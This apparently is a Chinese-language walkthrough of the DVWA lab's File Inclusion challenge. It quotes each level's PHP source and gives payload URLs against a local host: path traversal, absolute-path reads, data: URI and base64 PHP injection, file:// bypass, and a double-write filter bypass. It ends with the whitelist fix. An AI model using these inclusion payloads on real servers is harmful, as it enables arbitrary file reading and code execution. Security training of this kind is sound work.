DVWA靶场之File Inclusion(文件包含)通关
文件包含,未经过严格过滤,将一些恶意构造带入了包含函数,可以使用一些包含函数来包含一些其他乱七八糟的东西,要么导致任意文件读取,要么命令执行
文件包含包括远程文件包含(RFI)和本地文件包含(LFI)两种
RFI利用基本条件:allow_url_fopen = On(默认开)、allow_url_include = On(默认关,也没人闲的没事去开他)
LFI可包含共享文件,敏感目录文件,session
可包含Data:URI schema 比如?file=data:text/plain,<?php phpinfo();?> 再比如
file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
如果有后缀限制,截断大法好,伪协议大法好(phar绕过上传限制、zip绕过上传限制等一堆),不过需要视具体情况判断使用条件限制
Low:
看一眼源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
没啥过滤筛查
三个文件,点一下包含,把文件包含进去了,返回结果告诉你一声
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=lcx.php
把include.php改成lcx.php,报错出路径(本地靶场)
根目录D:\phpstudy\phpstudy_pro\WWW\dvwa
读个phpinfo不过分吧
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\phpstudy_pro\WWW\dvwa\phpinfo.php
如果不报错,可以
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../phpinfo.php
去猜测
这是LFI
当然符合RFI的条件时,可以去访问外网网址、文件、下载链接什么的来造成代码执行
?page=url
Medium:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
”http:// ”、”https://”、 ” ../”、”..\”被过滤了
关键是用str_replace,能用双写绕过,而且防不住知道绝对路径的,无论是LFI还是RFI
High:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
要求page参数的开头必须是file
那就file协议走起
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy/phpstudy_pro/WWW/dvwa/phpinfo.php
Impossible:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
白名单防护,只能从include.php”、“file1.php”、“file2.php”、“file3.php”之中选一个,不存在任意文件包含了